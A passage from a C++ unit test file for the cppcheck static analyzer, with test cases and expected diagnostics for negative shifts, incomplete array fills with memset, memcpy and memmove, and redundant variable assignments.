2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // bar() might call f() recursively. This could be a false positive in more complex examples (when value of i is used somewhere. See #4229)\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void bar(int i) {}\\n\"\n \"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar(i);\\n\" // Passed as argument\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo bar = foo();\\n\"\n \" bar();\\n\" // #5568. operator() called\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" if(x)\\n\"\n \" i = 0;\\n\"\n \" i = 1;\\n\"\n \" i = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:4:7]: note: i is assigned\\n\"\n \"[test.cpp:5:7]: note: i is overwritten\\n\", errout_str());\n\n // #4513\n check(\"int x;\\n\"\n \"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\"\n \" return x*x;\\n\"\n \"}\\n\"\n \"void f(int x) {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:7]: note: x is assigned\\n\"\n \"[test.cpp:6:7]: note: x is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x * x; }\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f() {\\n\"\n \" x = 2;\\n\"\n \" x = g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \" int x;\\n\"\n \" void g() { return x*x; }\\n\"\n \" void f(Foo z);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::f(Foo z) {\\n\"\n \" x = 2;\\n\"\n \" x = z.g();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ({ })\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" x = 321;\\n\"\n \" x = ({ asm(123); })\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // from #3103 (avoid a false negative)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" x = 1;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: x is assigned\\n\"\n \"[test.cpp:4:7]: note: x is overwritten\\n\", errout_str());\n\n // from #3103 (avoid a false positive)\n check(\"int foo(){\\n\"\n \" int x;\\n\"\n \" x = 1;\\n\"\n \" if (y)\\n\" // <-- cppcheck does not know anything about 'y'\n \" x = 2;\\n\"\n \" return x + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // initialization, assignment with 0\n check(\"void f() {\\n\" // Ticket #4356\n \" int x = 0;\\n\" // <- ignore initialization with 0\n \" x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" state_t *x;\\n\"\n \" x = NULL;\\n\"\n \" x = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12]: style: Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"int foo() {\\n\" // #4420\n \" int x;\\n\"\n \" bar(++x);\\n\"\n \" x = 5;\\n\"\n \" return bar(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // struct member..\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: style: Variable 'ab.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:5:10]: note: ab.a is assigned\\n\"\n \"[test.cpp:6:10]: note: ab.a is overwritten\\n\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" ab = do_something();\\n\"\n \" return ab.a;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(DO_SOMETHING do_something) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" do_something(&ab);\\n\"\n \" ab.a = 2;\\n\"\n \" return ab.a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab++;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a; int b; };\\n\"\n \"\\n\"\n \"int f(struct AB *ab) {\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \" ab = x;\\n\"\n \" ab->a = 1;\\n\"\n \" ab->b = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(struct AB *ab) {\\n\" // #\n \" ab->data->x = 1;\\n\"\n \" ab = &ab1;\\n\"\n \" ab->data->x = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5964\n check(\"void func(char *buffer, const char *format, int precision, unsigned value) {\\n\"\n \" (precision < 0) ? sprintf(buffer, format, value) : sprintf(buffer, format, precision, value);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash\n check(\"struct data {\\n\"\n \" struct { int i; } fc;\\n\"\n \"};\\n\"\n \"struct state {\\n\"\n \" struct data d[123];\\n\"\n \"};\\n\"\n \"void func(struct state *s) {\\n\"\n \" s->foo[s->x++] = 2;\\n\"\n \" s->d[1].fc.i++;\\n\"\n \"}\");\n\n // #6525 - inline assembly\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" asm(\\\"foo\\\");\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6555\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: style: The scope of the variable 'p' can be reduced. [variableScope]\\n\"\n \"[test.cpp:2:11]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" char *p = 0;\\n\"\n \" try {\\n\"\n \" if(z) {\\n\"\n \" p = fred();\\n\"\n \" p = wilma();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" barney(p);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Member variable pointers\n check(\"void podMemPtrs() {\\n\"\n \" int POD::*memptr;\\n\"\n \" memptr = &POD::a;\\n\"\n \" memptr = &POD::b;\\n\"\n \" if (memptr)\\n\"\n \" memptr = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: style: Variable 'memptr' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:12]: note: memptr is assigned\\n\"\n \"[test.cpp:4:12]: note: memptr is overwritten\\n\", errout_str());\n\n // Pointer function argument (#3857)\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" var[0] = 0.2f;\\n\"\n \" var[0] = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'var[0]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: var[0] is assigned\\n\"\n \"[test.cpp:4:10]: note: var[0] is overwritten\\n\", errout_str());\n\n check(\"void f(float * var)\\n\"\n \"{\\n\"\n \" *var = 0.2f;\\n\"\n \" *var = 0.2f;\\n\" // <-- is initialized twice\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:8]: style: Variable '*var' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:8]: note: *var is assigned\\n\"\n \"[test.cpp:4:8]: note: *var is overwritten\\n\", errout_str());\n\n // Volatile variables\n check(\"void f() {\\n\"\n \" volatile char *reg = (volatile char *)0x12345;\\n\"\n \" *reg = 12;\\n\"\n \" *reg = 34;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m, int key, int value) {\\n\" // #6379\n \" m[key] = value;\\n\"\n \" m[key] = value;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: style: Variable 'm[key]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:12]: note: m[key] is assigned\\n\"\n \"[test.cpp:3:12]: note: m[key] is overwritten\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_trivial() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" a = 0;\\n\"\n \" a = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned a;\\n\"\n \" a = 0u;\\n\"\n \" a = 2u;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* a;\\n\"\n \" a = (void*)0U;\\n\"\n \" a = p;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: (style) Variable 'a' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void redundantVarAssignment_struct() {\n check(\"struct foo {\\n\"\n \" int a,b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" struct foo x;\\n\"\n \" x.a = _mm_set1_ps(1.0);\\n\"\n \" x.a = _mm_set1_ps(2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:7] -> [test.cpp:8:7]: (style) Variable 'x.a' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab;\\n\"\n \" ab.x = 23;\\n\"\n \" ab.y = 41;\\n\"\n \" ab.x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:5:8]: (style) Variable 'ab.x' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct AB ab = {0};\\n\"\n \" ab = foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_union() {\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" lTotal += u.b.b1;\\n\"\n \" u.l1 = 2;\\n\" //Should not show RedundantAssignment\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void main(void)\\n\"\n \"{\\n\"\n \" short lTotal = 0;\\n\"\n \" union\\n\"\n \" {\\n\"\n \" short l1;\\n\"\n \" struct\\n\"\n \" {\\n\"\n \" unsigned char b1;\\n\"\n \" unsigned char b2;\\n\"\n \" } b;\\n\"\n \" } u;\\n\"\n \" u.l1 = 1;\\n\"\n \" u.l1 = 2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:13:10] -> [test.cpp:14:10]: (style) Variable 'u.l1' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union fixed32_union {\\n\"\n \" struct {\\n\"\n \" unsigned32 abcd;\\n\"\n \" } u32;\\n\"\n \" struct {\\n\"\n \" unsigned16 ab;\\n\"\n \" unsigned16 cd;\\n\"\n \" } u16;\"\n \" struct {\\n\"\n \" unsigned8 a;\\n\"\n \" unsigned8 b;\\n\"\n \" unsigned8 c;\\n\"\n \" unsigned8 d;\\n\"\n \" } b;\\n\"\n \"} fixed32;\\n\"\n \"void func1(void) {\\n\"\n \" fixed32 m;\\n\"\n \" m.u16.ab = 47;\\n\"\n \" m.u16.cd = 0;\\n\"\n \" m.u16.ab = m.u32.abcd / 53;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #10093 \"redundantAssignment when using a union\"\n check(\"typedef union{\\n\"\n \" char as_char[4];\\n\"\n \" int as_int;\\n\"\n \"} union_t;\\n\"\n \"void fn(char *data, int len) {\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < len; i++)\\n\"\n \" data[i] = 'a';\\n\"\n \"}\\n\"\n \"int main(int argc, char *argv[]) {\\n\"\n \" union_t u;\\n\"\n \" u.as_int = 42;\\n\"\n \" fn(&u.as_char[0], 4);\\n\"\n \" u.as_int = 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5115 \"redundantAssignment when using a union\"\n check(\"void foo(char *ptr) {\\n\"\n \" union {\\n\"\n \" char * s8;\\n\"\n \" unsigned long long u64;\\n\"\n \" } addr;\\n\"\n \" addr.s8 = ptr;\\n\"\n \" addr.u64 += 8;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12895\n \" int x, y;\\n\"\n \"};\\n\"\n \"union U {\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void f(const U& Src, const U& Dst) {\\n\"\n \" Dst.s->x = Src.s->x;\\n\"\n \" Dst.s->y = Src.s->y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_7133() {\n // #7133\n check(\"sal_Int32 impl_Export() {\\n\"\n \" try {\\n\"\n \" try {\\n\"\n \" uno::Sequence< uno::Any > aArgs(2);\\n\"\n \" beans::NamedValue aValue;\\n\"\n \" aValue.Name = \\\"DocumentHandler\\\";\\n\"\n \" aValue.Value <<= xDocHandler;\\n\"\n \" aArgs[0] <<= aValue;\\n\"\n \" aValue.Name = \\\"Model\\\";\\n\"\n \" aValue.Value <<= xDocumentComp;\\n\"\n \" aArgs[1] <<= aValue;\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (const uno::Exception&) {\\n\"\n \" }\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 